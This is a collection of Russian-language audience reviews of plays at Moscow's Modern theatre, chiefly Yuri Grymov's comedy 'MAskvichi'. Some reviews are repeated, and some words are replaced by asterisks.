Вот реально, я сама множество раз видела в ныне запрещенном Инстаграме таких русско-американских тренеров и коучей, как сменившая при переезде в США имя Ася-Ариэль (Марина Дианова) – они даже выглядят так же! Муж Ариэль Мигель (Диллон Олойеде) – темнокожий кубинец: работает в США таксистом, очень любит свою жену и имеет зашкаливающее чувство гордости, а еще - дополнительный бизнес – выращивает легальную марихуану. При этом, с мужем у семейного психолога-коуча понимания совершенно нет. Их сын Лео (Антон Дубровский) – из тех подростков, которые обязательно имеют «проблемы с менталочкой», прорабатываемые у психолога, и не выходит из дома с начала пандемии – а зачем? Интернет и достаточное общение есть, можно представить, что семья – это герои компьютерной игры и наблюдать за ними со стороны, попивая лавандовый раф. А еще, Лео – немного блогер, знаток пьес Чехова, хочет поступать на дизайнера, поэтому иногда носит юбки, собирает фото мертвых птиц, потому что они прекрасны как «падшие ангелы», и его фолловит в Инстаграме сама Леди Гага. Если вы не знаете похожих молодых людей любого пола от 15 до 25, то их знаю я. Санитар Маша (Ольга Богомазова), младшая сестра Ариэль, понравилась мне больше всех.

И вот, в эту веселую семью приезжают родители – Натан (Александр Борисов) и Маргарита (Валерия Королева). Конечно, со своим укладом: установкой, что в СССР и России настоящая демократия, лучшие вакцины в мире, все в достатке и счастливы, и так далее. Конечно же, они не могут понять, как можно заказывать на семейный ужин доставку роллов, вместо того, чтобы готовить? Как Ариэль может работать коучем без образования? Как взрослая Маша специально не ищет себе мужа и ходит в мягких тренировочных штанах и без макияжа? Почему Лео не пострижет дреды и не стремится в армию? Что значит «важно личное пространство»? И многое, многое другое. Конечно, в спектакле множество курьезных ситуаций, но я реально задумалась, как же мы выглядим со стороны даже для наших родителей? Наверное, мы очень странные, и чтобы это показать, даже необязательно было переносить героев в Америку, у нас же все так же.

Очень понравилась идея с «эпидемией нашего времени»: «человек усталый» как вершина эволюции. Когда накопленные проблемы достигают критического уровня, человек ложится и впадает в глубокий многодневный сон, сродни летаргии, потому что организм наконец хочет отдохнуть. Фантастика, конечно, но я сама регулярно не спала рекомендуемые 8 часов с тех пор, как мне исполнилось лет шестнадцать, и тоже склонна иногда «засыпать» проблемы.

Символ «Масквичей», кстати – огромная советская красная неваляшка. С ней сравнивает себя папа Натан: «я, как эта неваляшка, встал – и дальше пошел». Так как спектакль комедийный, на мой взгляд, имеет место некая чрезмерная бравада старшего поколения: пережившему перестройку и 90-е американские снегопады и тревожные расстройства, конечно, не страшны, да и харассмент как явление им неведом, но в финале хотелось бы видеть более изящную подводку к единению семьи.

А спектакль советую всем, кто хочет посмеяться над собой со стороны или лучше понять своих взрослых детей 😊

Ура! Театр "МОДЕРН" открыл сезон. Летние каникулы были короткими, но я успела соскучиться.
Первый спектакль, на который пошла, - "Сказки для взрослых".

Режиссер-постановщик спектакля -
Сергей Аронин. Так же он занят в нескольких миниатюра, из которых состоит спектакль.

Каждая миниатюра -  абсурдисткая, в чем-то даже философская, и очень ироничная новелла, герои которой - персонажи известных сказок или известных фантастических произведений. Всё они вдруг оказываются в реальном мире, превращаясь в обычных людей, но со своими "сказочными" проблемами.

В анонсе спектакля обозначено, что в нем показана «изнанка» сказок. Не соглашусь. Тут не  сказки, тут наша реальность, "подсвеченная" режиссером так, что на стекле обыденности, как морозный узор, начинают проглядывать все наш
проблемы. 

Нам же хорошо известно, что такое "сказочное коварство". Мы на своей шкуре познали, что значить, быть не таким, как все. Мы сами не раз становились "невидимками", живущими в огромном социума и совершенно для него незаметными. И пару нам бывает найти не проще, чем деревянной кукле, которая вдобавок еще и не может врать. А может быть мы вообще лишь чьи-то воспоминания, помещенные в стеклянный шар?

В этот раз я позвала с собой в театр коллегу. Она в Модерн попала впервые. Уверена, что обязательно придёт ещё. Потому что интересно, иронично, актуально, актёры играю прекрасно, отлично подобрана музыка и продуман свет.

В общем спектакль оставляет отличное "послевкусие". Его хочется обсуждать. Некоторые вещи "нагоняют" уже после и при всей видимой лёгкости по итогу призадумаешься, в какую сказочку  попал...

Со спектакля «Понты» я вышла с мыслью о том, что вернусь сюда со старшим сыном, когда он еще немножко подрастет. /Опять там 16+/
Потому что явно нуждаются в корректировке вот эти современные мальчишеские мечты: «я вырасту и куплю себе крутую тачку! Нет, я куплю себе десять крутых тачек и буду менять их каждый день!».
Купи, купи, игрушечку купи! Вчерашняя уже неактуаааальна. Слышали такую песенку? Мне ее дети регулярно поют).
А вот на спектакле мы видим оборотную сторону этой гламурной жизни, которая так манит к себе неокрепшие умы.
Люди-потребители купили себе игрушечку. Бэху, Майбах, Бентли, Додж, Лексус, Мерс, Ламборгини. Машины прекрасны, они верны своим хозяевам как домашние питомцы. Они совсем живые, чувствующие, думающие. Но только каждая из них достаточно быстро оказывается на кладбище понтов. Люди-потребители никогда не ценят то, что имеют и не дорожат настоящей дружбой.
Только старушке Тойоте повезло, ее хозяин был другой, благородный, с живой душой, и среди машин она пользовалась особым почетом. Потому что понимала этих странных людей и в конце концов предложила своим друзьям-автомобилям красивый выход из казалось бы безнадежной ситуации.

Спектакль прекрасный, как всегда в «Модерн». Каждая машина здесь расскажет вам историю жизни. И над каждой этой историей можно будет поразмышлять.

"Сострадать, верить и прощать способны даже те, кто, как нам кажется, лишен чувств. Любовь — это колоссальная сила, которая способна спасти человека даже от смерти. “Понты” — мужской спектакль с добрым женским сердцем. Он подарит зрителям то, что необходимо каждому — осознание любви и добра в этом одиноком, быстро меняющемся мире".
Режиссер-постановщик Юрий Грымов.

И отдельная ода костюмам и музыкальному оформлению. Мой внутренний эстет всегда поет на спектаклях в этом театре, потому что художник по костюмам Ирэна Белоусова создает превосходно узнаваемых персонажей. Потому что музыка всегда очень точно подбирается Юрием Грымовым (в финале этого спектакля, например, звучит трек «Машины» в исполнении Вячеслава Петкуна). И, конечно, актеры как всегда безупречны.
В общем, в театре здорово. Только не надейтесь расслабиться, потому что после любого спектакля в Модерне (а я пересмотрела их уже больше половины), вы будете размышлять.
«В сауну ходи, чтобы расслабиться» сказал в одном из интервью Юрий Грымов.

"МАСКВИЧИ"
В прошлые выходные мне наконец-то удалось побывать на долгожданной премьере в театре Модерн - "Масквичи".
Реальность на 100% оправдала ожидания. Отличный актерский состав и тема, злободневная и актуальная, как 100 лет назад так и сейчас: отношения отцов (матерей) и детей. В случае героев спектакля, взаимоотношения усложняются еще и тем, что дети предпочли жизни на Родине - Америку.
Актеры абсолютно точно отыграли своих персонажей. Александр Борисов и Валерия Королева блестяще воплотили на сцене родительскую чету. "Классический" русский отец семейства и его жена - учитель, со своим взглядом на мир и моральные ценности. Марина Дианова и Ольга Богомазова предстали перед нами в образах дочерей, сбежавших от чрезмерной опеки родителей в поисках лучшей жизни аж на другой континент. Одна из них стала доктором, другая - блогером- коучем. Внук - блогер (исп. Антон Дубровский), не выходящий из дома последние 2 года и создающий компьютерные игры, и зять - таксист (исп. Диллон Олойеде) прекрасно дополняют "счастливое" семейство. Сумеют ли герои провести выходные вместе и что из всего этого выйдет, узнаете, посмотрев спектакль)
Могу сказать, что он получился не только смешной, но и философский. После него осталось приятное послевкусие и пища для размышлений. И если первая часть слегка затянута, то вторая пролетела на одном дыхании, с героями никак не хотелось расставаться)
Отдельно хотелось бы отметить оригинальную структуру спектакля (мы словно наблюдаем за компьютерной игрой) и музыкальное сопровождение. Оно безупречно!
"Масквичи" -именно тот спектакль 2022 года, который я обязательно порекомендую своим знакомым)

Спектакль «МАсквичи» в театре МОДЕРН получился сложносочиненным. В нем две истории: одна в другой. А потом еще добавляются сны героев и наркотические галлюцинации. Легко запутаться, что вообще происходит. Но это же и держит в тонусе, заставляет постоянно думать.

Из актерских работ больше понравились Александр Борисов и Валерия Королева.
Хотя герои их мне не близки, но вполне понятны. А еще их роли Натана и Марго очень тепло сыграны, с большой любовью к своим персонажам. Очень хотелось обнять обоих

Очень смущало, что на сцене темно, даже в радостных комедийных сценах. От комедии я ждала солнца, света и ярких красок. Но нет, здесь потемки. Или я не поняла задумки, так тоже может быть.

А вот музыкальное оформление , как обычно у Юрия Грымова, шикарно. Музыка подобрана остроумно и точно.

Не понравились шутки о ментальном здоровье. Сегодня мы пошутили, что можно избавиться от тревожного расстройства, выйдя из дома с топором. И вполне понятно, что здесь высмеивается. Но кто-то поймет буквально, и завтра может случиться беда. Да и обесценивать расстройства психики - не самая здоровая тактика.

🪆
Весь спектакль, а идет он без малого 3 часа с антрактом, мне было любопытно отгадывать отсылки к другим спектаклям театра. И все это не выглядит как повтор, наоборот, возникает ощущение взаимосвязи всего со всем.

И весь спектакль о том же. О взаимосвязях. О возможности услышать друг друга, несмотря на разницу поколений, вкусов, взглядов на жизнь.

Впечатления от спектакля в целом - очень теплые. Есть где посмеяться, узнать знакомых и себя. Он очень... человечный, что ли. В нем столько любви!

Благодарю всех причастных к созданию спектакля!

«Быть живым прикольно» — задумываешься над фразой, дочитываешь программку и смотришь, как открывается занавес. Все когда-то слышали о группе Nirvana или хоть раз в жизни встречали их песни. Но далеко не все знают трагическую историю жизни создателя и вокалиста группы Курта Кобейна и его супруги, певицы Кортни Лав. Режиссёр Юрий Грымов очень бережно поработал с биографией Кобейна, в спектакле нет ни одного лишнего слова, движения или спецэффекта (кстати, они там просто фантастические смыслово и технически). Великолепная актёрская игра и продуманные до мелочей сцены выводят на очень сильные эмоции и глубокие мысли. С первых секунд зрители переносятся в жизнь Курта, становятся свидетелями его попыток вырваться из «болота» маленького города, взлётов и падений и до самого финального смертельного выстрела живут вместе с героями в этой атмосфере. Режиссёр Юрий Грымов говорит, что Курта Кобейна убило не ружьё, а героин, и психотропные вещества не пишут великих песен, поэтому он не выносит разговоров о том, что без наркотиков Кобейн не стал бы легендой. В «Nirvana» личность певца раскрыта именно так, мы видим, кто его сделал великим и что довело его до самоубийства. Спектакль тяжёлый эмоционально, но это те эмоции, которые стоит пережить, в нём есть те мысли, которые стоит забрать с собой. После этого спектакля зрители аплодируют стоя и еле сдерживают слёзы, хотя многие даже не пытаются сопротивляться таким сильны чувствам. И вновь, как и после спектакля, скажу: «Браво! Быть живым прикольно!»

Немосковские «мАсквичи» - самая долгожданная премьера-комедия в театре «Модерн».
Безусловно ее так долго ждали все мы: и зрители, и актеры, и конечно же режиссёр Юрий Грымов.
Покажите мне человека, кто не любит или не хочет смеяться?
Найдите мне хоть одного, кто не готов испытать волну позитива?
Думаю, что среди суеты и серости будней нам всем этого очень не хватает.
Юмористический коллапс противоположностей, в котором в главной роли Марина Дианова моя веселая фаворитка без сомнения являющаяся Гвоздем постановки.
Эту актрису я заметила давно с первых моментов знакомства с театром: неоднозначная, я скажу даже необычная, не только в игре, но и во внешности, её трудно не заметить.
Помню я даже сфотографировала со стены в театре её обнаженный черно-белый портрет, ни мужской, а Её. Женские образы Марины, её внутренняя теплота, грация, рост, юмор покорили меня сразу. Она как никто другой мне близка, мы с Мариной ровесницы. Я понимаю в ней всё.
Я знаю, что Марина - ученица Геннадия Хазанова, это не могло не сыграть свою решающую роль в выборе главной героини постановки.
Я знаю, что нам важна нить с прошлым, это важно, этого нельзя терять, так вот правда «Модерна» взяла:
и смех, и грех, и простота, и одновременно снова вопрос выбора и игра тонких граней человеческой души.
Подчеркну без пересказа, что в очередной раз постановки «Модерна» актуальны как никогда. С юмористической подачей оголены проблемы общества и обнажён вопрос одиночества.
«Модерн» - пионер, первопроходец, новатор!
Здесь и сейчас, в ногу со временем! Ура, в моем любимом театре появилась новая современная комедия, за которую не стыдно, за которую берет гордость!!!
Восторженные отзывы и звонкий смех в зале с первой минуты - вот доказательство энергетики, всемогущего волшебства театра.
Каждый персонаж - это отдельный кладезь шуток и приколов.
Невероятно близки многим и точны действия героев. Каждый нашёл тут и своих близких, и друзей, и даже любимых зож-блогеров.
И смех, и грех, хоть стой хоть падай, но смешно - вот чистая правда.
«МАСКВИЧИ»- абсолютно новый интерактивный формат постановки.
Это начало начал, это то, чего не хватало нам долгие годы, а именно понимания о том, что мы живём в великой стране, и что главное достояние - это наши люди!!!
«МАСКВИЧИ» - мощный энергетический спектакль, сходить на него можно и нужно, чтобы понять и убедиться, что смех продлевает жизнь!
Очень хочется, чтобы спектакль шёл в народ и разлетался в массах на крылатые фразы.
Хочется, чтобы все насладились этой невероятной музыкой и игрой.
А какие танцы, пластика, грация, какие невероятные темы открываются на втором плане, пока мы смотрим на первую сюжетную линию.
Одного раза явно недостаточно, чтобы оценить весь объём!
Со второго раза я оценила сон и динозавра, потайные яства и запрещенный салатик, зиму и новостную озвучку и конечно же любовь. Да, снова миром правит любовь. Снова она заставляет нас петь и кружить. И восторгаться вечной весной. За музыку, за возвращение в прошлое на машине времени я благодарю мой любимый «Модерн».
Я просто буду ждать новой встречи в новом театральном сезоне!
«Модерн» - мой позитивно-драматичный, вечный, юный, такой близкий и родной.
БРАВО!!!
P.S. Подарите мне Майку с ЧеБурашкой или на крайняк с Трампом.
Парам-пам-пам-пам!!!!

"Человек с глазами Моцарта" в театре Модерн, это - 1 ч. и 40 мин. нашей истории. Очень тяжёлого и страшного времени, когда в жизнь людей вторглась *****.
Кто же этот человек, у которого глаза Моцарта?
Думается, что человек, который оставил свой след в мировой культуре и создал гениальные творения, которыми наслаждается не одно поколение, не может быть плохим?
Злым, жестоким, с холодными, безжизненными глазами? Как и немец-фотограф Курт, который квартирует у Надежды и со временем влюбляется в неё, при этом сам становясь объектом чувств её сестры.
Ведь, события в спектакле разворачиваются на оккупированной врагом территории, отзвуки боевых действий ещё только слышны, но от этого не менее жутко то, что происходит.
В своей пьесе Марина Сулчани подняла все острые вопросы и проблемы Великой Отечественной *****.
********** прежнего уклада жизни, проживание бок о бок и сотрудничество с ************, уничтожение евреев, отправление людей в Германию, пленные, голод и тяжёлая, трудовая жизнь.
Но, так же, это - история о силе духа наших женщин, которые несмотря на все лишения, продолжают верить, надеяться, ждать и любить. "Человек живет, пока его кто-то любит" (с). Только любовь даёт силы не сойти с ума и жить дальше. И ещё музыка, искусство, которые не позволяют исчезнуть тому чистому и светлому, что есть в каждом человеке.
Вспомните, сколько замечательных военных стихов и песен было создано в те годы. Спектакль практически без декораций, но благодаря высокотехничному использованию света и тени и музыки, получается объёмное и целостное пространство. Прекрасная игра актеров. Постановка заставляет думать, анализировать, особенно в связи с нынешними событиями.
Остро встают вопросы верности и чести, выбор между своим личным, спокойным мирком и высокими идеалами. Как сложно, но важно оставаться человеком в такое непростое время.

"Человек с глазами Моцарта" в театре Модерн, это - 1 ч. и 40 мин. нашей истории. Очень тяжёлого и страшного времени, когда в жизнь людей вторглась *****.
Кто же этот человек, у которого глаза Моцарта?
Думается, что человек, который оставил свой след в мировой культуре и создал гениальные творения, которыми наслаждается не одно поколение, не может быть плохим?
Злым, жестоким, с холодными, безжизненными глазами? Как и немец-фотограф Курт, который квартирует у Надежды и со временем влюбляется в неё, при этом сам становясь объектом чувств её сестры.
Ведь, события в спектакле разворачиваются на оккупированной врагом территории, отзвуки боевых действий ещё только слышны, но от этого не менее жутко то, что происходит.
В своей пьесе Марина Сулчани подняла все острые вопросы и проблемы Великой Отечественной *****.
********** прежнего уклада жизни, проживание бок о бок и сотрудничество с ************, уничтожение евреев, отправление людей в Германию, пленные, голод и тяжёлая, трудовая жизнь.
Но, так же, это - история о силе духа наших женщин, которые несмотря на все лишения, продолжают верить, надеяться, ждать и любить. "Человек живет, пока его кто-то любит" (с). Только любовь даёт силы не сойти с ума и жить дальше. И ещё музыка, искусство, которые не позволяют исчезнуть тому чистому и светлому, что есть в каждом человеке.
Вспомните, сколько замечательных военных стихов и песен было создано в те годы. Спектакль практически без декораций, но благодаря высокотехничному использованию света и тени и музыки, получается объёмное и целостное пространство. Прекрасная игра актеров. Постановка заставляет думать, анализировать, особенно в связи с нынешними событиями.
Остро встают вопросы верности и чести, выбор между своим личным, спокойным мирком и высокими идеалами. Как сложно, но важно оставаться человеком в такое непростое время.

Смотрели «***** и мир Юрия Грымова.
Открываются двери в зал, а на сцене уже идёт православная служба, с молитвами, батюшкой и кадилом. Хор имени Свешникова, прекрасные голоса которого звучат на протяжении всего спектакля и даже в антракте.
Наташу Ростову играет Ольга Богомазова, 100% попадание в образ. Очень красивая актриса с очаровательной улыбкой.

Смотрели «***** и мир Юрия Грымова.
Открываются двери в зал, а на сцене уже идёт православная служба, с молитвами, батюшкой и кадилом. Хор имени Свешникова, прекрасные голоса которого звучат на протяжении всего спектакля и даже в антракте.
Наташу Ростову играет Ольга Богомазова, 100% попадание в образ. Очень красивая актриса с очаровательной улыбкой.

350 лет назад родился Петр. Первый Император России.
Было ли его правление благом для России? Порассуждать на эту тему можно в театре «Модерн».
С необычной стороны представлена в спектакле «Петр» жизнь царя.
Все мы знаем, что Петр был энергичным и беспощадным реформатором.
Молодой Петр после возвращения из Европы решил полностью преобразовать свою страну на европейский манер.
Но я никогда раньше не задумывалась, что такие радикальные перемены рассматривались его современниками как подрыв всех ранее существовавших православных устоев общества и многие стали воспринимать Петра как Антихриста.
И, действительно, что значило для боярина сбрить бороду и переодеться из длиннополой шубы в короткий европейский камзол? Да еще и парик напудренный надеть. Окладистая борода была знаком благочестия и лишиться ее значило предать веру и традиции. А для боярыни? Сменить длинное платье с рукавами на европейское бальное с корсетом и открытыми плечами. Немыслимо.
И в спектакле мы видим как энергичный Петр без жалости ломает сложившиеся устои.
Казнит стрельцов, рвет зубы, строит флот и город на болотах, изменяет календарь и повелевает праздновать Новый год в январе.
Он как вулкан бурлит идеями и воплощает их с невиданным упорством.
Но благом или злом были для России его преобразования? Не станет ли в конце правления слишком тяжел для Петра весь пласт его реформ.

Блестяще в спектакле играет Петра Юрий Анпилогов. От невероятно энергичного реформатора до уставшего правителя, который еле передвигается со своим неимоверно большим и ставшим неподъемным посохом. А финальная речь Петра. Таким вы его точно себя не представляли.

Прекрасны костюмы, которые создала Ирэна Белоусова. Невероятных размеров парики, платья с объёмными элементами. Люди-города, на которых присаживаются посидеть иностранцы. Много образов и символов, которые можно разгадывать на протяжении всего спектакля.

Очень жаль только, что спектакль имеет ограничения по возрасту (16+). Без откровенных сцен он был бы ничуть не хуже, но зато приобрел бы и благодарного юного зрителя. Но, увы, подходит он только взрослым.

Восторг! Восторг и ещё раз восторг! Была на "***** и мире" и с удовольствием пойду ещё раз! Это действительно шедевр. Каждая деталь, положение тел актеров, каждый фоновый звук и реплики выверены так филигранно, что ты просто растворяешься в этом действе на все 3 акта. Столько метафор, столько глубины мысли. Прекрасное прочтение Толстого. Актеры великолепны. Поразил хор.... Хор буквально палил со сцены в зал своей космической энергетикой. Грымов гениален, ещё раз в этом убедилась.

Спектакль «ХочуНеМогу» в театре Модерн.

Неоднократно рассказывала о прекрасном театре Модерн. Все постановки здесь шикарные. Каждый раз выходишь из театра заряженным, на положительной волне с огромным количеством непередаваемых эмоций! Это правда!

Хочу напомнить, что помимо спектаклей Грымова, здесь ставятся ещё постановки талантливого режиссёра Сергея Аронина.

Не первый раз уже на его спектаклях и что хочу сказать : очень актуально, интересно, оригинально и хочется ещё!!!!

О чем же этот спектакль ?!

Конечно же - о любви! История о том, как мы все мечтаем о любви и тянемся к романтике и к идеальной жизни! Зачастую Бориса серьёзных шагов, задавая себе вопрос: «А вдруг не получится ?!….»


«ХочуНеМогу» - это история о любви, о настоящей любви, о неразделенной любви, о взаимной любви, точнее о предвкушении, о страхе ее в себя впустить и страхе потерять…

На мой взгляд, тема этого спектакля - жизненная, глобальная, самое главное- актуальная!

Знаете, что самое интересное? После каждой сценки зал реагировал очень эмоционально, это говорит о том, что каждый видит на сцене то, что переживал в своей жизни, а может переживает прямо сейчас.

Сильная, настоящая, трогательная постановка с шикарным актёрский составом. Почти каждый актёр сыграл ни одну роль! Максимальное вхождение в каждую роль за такой короткий промежуток времени - эти очень талантливо!


Очень понравилось музыкально - вокальное сопровождение спектакля. Все песни исполнены идеально! В постановке актёры поют и играют на музыкальных инструментах. Я такое очень люблю!

Бегом в театр!
Мне спектакль очень понравился, рекомендую от души!

Ну что сегодня о премьере, которую я очень ждала! Новая постановка Юрия Грымова "МАсквичи" в Театре "МОДЕРН" имела нереальный успех у первых зрителей, в коем числе была и я.
Спектакль о семье и любви, о Родине и миграции, о блогерстве и политике... о всей нашей жизни во всем ее многообразии. Да-да!!! именно о нашей! В спектакле каждый узнает себя и своих близких, столкнется со своими триггерами, а выйдя из зала обязательно сделает какие-то выводы. В постановке поднимаются важные темы, но приправлены они искрометным юмором, никакого ханжества и назидательности!
Спектакль поставлен по пьесе драматурга Екатериной Брезгуновой «Человек усталый» (это название мне, честно говоря, нравится больше, чем мАсквичи 🙂).
На сцене, как всегда, много красоты (чего только стоят психоделические сны одной из героинь). Оригинальная сценография, качественная музыка и отличная игра актеров. Браво!
Посоветую к просмотру тем, кто устал от повседневной рутины и хочет от души посмеяться.

#Хочунемогу - очень славный музыкальный спектакль театра Модерн. Легкий и ироничный по форме, но лиричный, с легкой грустинкой по содержанию. О любви и страхе - страхе ее снова встретить и быть отвергнутым или никогда не испытать: «Любовь - это не всегда счастье, а счастье - не всегда любовь».

Спектакль объединяет несколько проникновенных историй, вплетенных в один сюжет. Пожалуй, это мой первый в Модерне, поставленный не худруком, а Сергеем Арониным, который и сам сыграл в нем несколько ролей и написал музыку ко всем номерам. Замечательные актеры, уже знакомые по другим спектаклям: «На дне», «Матрешки на округлости Земли», «Пётр I», «Женитьба», каждый из которых проживает несколько судеб и делится историями своих отношений, влюблённостей и расставаний. Всё, что происходит на сцене, очень трогательное и при этом очень личное, жизненное и понятное, в какой-то момент вы обязательно поймаете себя на мысли «да, точно, все так и было».

Декорации совсем простые, но здесь главное - эмоции, мечты, переживания и надежды героев, они притягивают и завораживают. Вообще в малом зале своя особая атмосфера: границы между актерами и зрителями стёрты, а интимная обстановка и живая музыка создают ощущение, как будто сидишь в кафе с подругой, которая делится своими секретами.

Вот, что так присуще Юрию Грымову есть и в замечательной "Женитьбе", которую мы с дочкой посетили совсем недавно. Мало иметь зал, актеров, статус. Сотворение спектакля – таинство, где нет абсолютно никаких мелочей.

Тексты – спасибо классикам, их у нас не мало, и кто устал от обычных классических постановок в театре оценит коктейль из трех пьес, объединенных тематикой (Их еще бы освежить в памяти перед посещением, что, к сожалению, я не сделала)
«Женитьба» Гоголя, «Предложение» Чехова и «Женитьба Бальзаминова» Островского переплетаются в историю о «не любви» с акцентом на женщине, которая стала объктом матримониальных планов. Грымов-филосов соединяет сюжеты тонко, внешним рядом проводя параллели между настоящим и прошлым и доказывая нам, насколько суть человека не меняется со столетиями и с условным прогрессом.

И вот она эта скрупулезность, где Грымов как бусины нанизывает на нить сюжета разные грани спектакля. Лолита в главной роли невесты Агафьи Тихоновны – идеальное, гениальное решение!

И пусть она намного старше литературных прототипов, но это вообще не важно. Важно то, что внутри. Важны эти глаза. Этот образ. Этот юмор белого клоуна.

А одежда? Найти шанцы с лампасами на блошином рынке, состарить ботинки. Очень-очень редко минимализм бывает оправдан, обычно сквозь него скользит отсутствие бюджета. А здесь же наоборот – наполненность и внимание к каждой мелочи в образах и в реквизите.

Ну и конечно - свет и музыка Грымова - явление абсолютно легендарное, доводящее акцентированные сцены до уровня гениальности – это я и про сцену выхода невесты, и далее и далее

Мне не хочется в формате отзыва разбирать спектакль «по косточкам», хотя отдельных дифирамбов заслуживает абсолютно каждый актер. Позвольте я просто порекомендую – приходите и обязательно получите свои впечатление, возможно, отличные от моего мнения.

Потрясающий спектакль, который смотрится на едином дыхании и оставляет отличное послевкусие.

После блистательной череды масштабных исторических полотен («Юлий Цезарь», «***** и мир», «Петр I») художественный руководитель театра «Модерн» Юрий Грымов решил наконец-то воплотить свою давнюю мечту - поставить современную социальную комедию в духе Георгия Данелии.

И сделал это - представив на суд зрителей свое прочтение пьесы драматурга Екатериной Брезгуновой «Человек усталый».

Его «Масквичи» - очень смешная и, в то же время, трогательная история о вечных жизненных ценностях - любви и семье.

… Ася и Маша уже долгие годы живут в Америке и все у них хорошо. Ася успела и имя сменить при получении гражданства, и замуж за американца кубинского происхождения выйти, и сына, рожденного еще в СССР, вырастить. Она ведет на TV психологический тренинг, муж работает таксистом, подрабатывая легальной продажей легких наркотиков из травки, выращиваемой дома на подоконнике. Маша работает в госпитале. Личная жизнь ее так и не сложилась – до сих пор не может забыть свою первую любовь – Толика, которого ее мама-учительница выгнала из школы и с тех пор они больше не виделись.

Все у них, на первый взгляд, благополучно. И решили сестры, что пора перевезти в этот «рай» и родителей. И вот тут-то все и началось! За два дня наши незадачливые герои умудрились разрушить карьеру младшей и личную жизнь старшей…

Но это же комедия и в финале, поверьте, все будет ОК!!!

Побывав на пресс-показе спектакля могу с уверенностью сказать, что новая постановка Юрия Вячеславовича удалась на славу!

А как же тепло зал принимает этот спектакль! Смех не умолкает практически все два часа. Сейчас всем нам просто необходимы именно такие - светлые, трогательные, забавные и очень добрые истории!

Лейтмотивом спектакля можно назвать немного переиначенные слова известной детской песенки - «Что мне снег, что мне зной, что мне дождик проливной, когда МОЯ СЕМЬЯ со мной!»

Ведь все катаклизмы, происходящие во внешнем мире легко пережить, если рядом твои близкие и родные люди. Не зря говорят, «мой дом - моя крепость».

На встрече со зрителями, которая состоялась сразу после пресс-показа, в адрес всей творческой группы и актеров прозвучало очень много слов искренней благодарности. Многие узнали в персонажах грымовской комедии своих близких.

Ну, а если добавить, что в спектакле просто умопомрачительная сценография (на сцене появятся и весьма причудливые куклы, и динозавры и даже Кин Конг из сна одной из героинь), великолепное музыкальное оформление и множество спецэффектов, то станет ясно, что такое зрелище просто немыслимо пропустить!

Современная комедия Юрия Грымова «мАсквичи» в театре Модерн!

П О Т Р Я С А Ю Щ И Й спектакль! Теперь один из моих любимых спектаклей в театре Модерн!
Меня, конечно же, изначально зацепило название, тем более я очень люблю Москву!

Сразу скажу, что премьера состоится 24 и 26 мая, а я была на пресс-показе.

О чем же эта постановка?!
- про извечный конфликт отцов, детей и внуков (во все времена очень актуальная тема)
- про личные границы
- про то, как по-разному видят мир молодёжь и старшее поколение

Кто-то узнает себя, кто-то может быть увидит своих родителей на месте главных героев. В зале так и было, потому что тааааак эмоционально реагировали зрители после каждой сцены. Весь зал был в восторге!

А история о том, как герои переехали в другую страну в поисках счастья, успешной карьеры и взаимной любви, как вдруг к ним приезжают дорогие родители тут начинается самое интересное ….

Не передать всех эмоций, которые я получила во время спектакля.
Постановка до слез! Восторг!
Шикарно! Невероятно!
Очень поучительный, добрый и с глубоким смыслом!
Смотреть всем!

Браво режиссёру и всему актёрскому составу!
Декорации, музыка, свет, игра актёров - всё на высшем уровне!

Отдельно хочу отметить великолепное музыкальное сопровождение - 100 %-ое попадание! Зажигательно!
Самые лучшие постановки в театре Модерн! Однозначно!

А после спектакля состоялась встреча с актерами и художественным руководителем театра. У Громова всегда умные и гениальные мысли. На каждый вопрос зрителя режиссёр отвечает очень развёрнуто, чему все были только рады, послушать великого человека!
Хочется побольше таких встреч со зрителями!

Масса положительных эмоций!

Как говорит Юрий Грымов: «Выключай телевизор и иди в театр»!
Поддерживаю!!!

Воскресный День по сложившейся традиции Я провела в гостях
в Юрия Грымова в Театре «Модерн» 💫; «модерн», а значит Модный: и Сам Театр 🎭 , и Творческий коллектив и его Зрители идут в ногу со временем и
Новый спектакль «МАсквичи»
💥 Премьера которого состоится уже Сегодня 24 Мая и 26 Мая 💥
тому подтверждение; и разве Я, коренная МАсСсквичка 👸🏼, могла пропустить спектакль с названием «МАсквичи»?!
Нет, конечно!.. тем более, когда можно посетить предпремьерную Открытую Репетицию спектакля, и это отдельное Удовольствие поНаблюдать за Творческим процессом изнутри... Творческие идеи витают в воздухе
и прямо на лету привносится
Новые Творческие решения...
Но спектакль, конечно, не только
о «кореннных», но обо Всех, кто Чувствует, что Их Сердца ❤️ бьются
в такт с Кремлёвскими Курантами! ❣️
Спектакль «МАсквичи» - это социальная комедия о трёх поколениях одной Семьи: молодое поколение уехало за Лучшей Жизнью в Америку, строят там Свою Новую Жизнь как умеют и как считают правильным, и к Ним приезжает старшее поколение на ПМЖ; тут Наши герои сталкиваются с конфликтом Мировоззрений разных поколений; тут же затронуты проблемы межнациональных отношений, одна из героинь замужем за кубинцем; затронута тема разных менталитетов и культур; показано как ломает Человека современная жесткая СИСТЕМА; также многие узнают Себя, потерянных в виртуальном пространстве и так далее... это спектакль о Нас с Вами и о современных Реалиях Жизни!.. и всё это подано в УДивительно в легкой форме, проникая незаметно в подсознание
и звеня там звоночком,
призывая проснуться! 🔔
Спектакль «МАсквичи» - это заряд Позитива 🔥, снабжённой Зажигательными Песнями и Танцами, Отличным ЮморРрм! 🕺💃🏼
Завершите Ваш День в Веселой компании МАсСсквичей в Театре «Модерн» 💫

Дорогие мои "МАсквичи"
Как же, товарищи, мне повезло! Я не только увидела пресс-показ нового спектакля Юрия Грымова до официальной премьеры, (премьерные спектакли, кстати, начинаются уже завтра, 24 мая), но и поприсутствовала на встрече с режиссером и актерами после спектакля.
И вот он, тот самый случай, когда я абсолютно искренне и честно не просто советую, а всех зазываю его посмотреть! Если конечно еще где-то возможно достать билеты. Аншлаг спектаклю уж точно обеспечен!
Сразу скажу, что писать о том, что вызывает восторженные эмоции одновременно и легко и трудно. Вот такой парадокс - хочется много хорошего сказать, но чувства захлестывают и надо как-то попытаться разложить все по полочкам, чтобы было по делу, и при этом поведать о своих восторгах, не впадая в примитивное восхваление. Тем более, если это комедия. Ведь всем давно известно, что создать комедию на сцене необычайно сложно, и вызвать искренний смех зрителей порой труднее, чем "трагические" слезы!
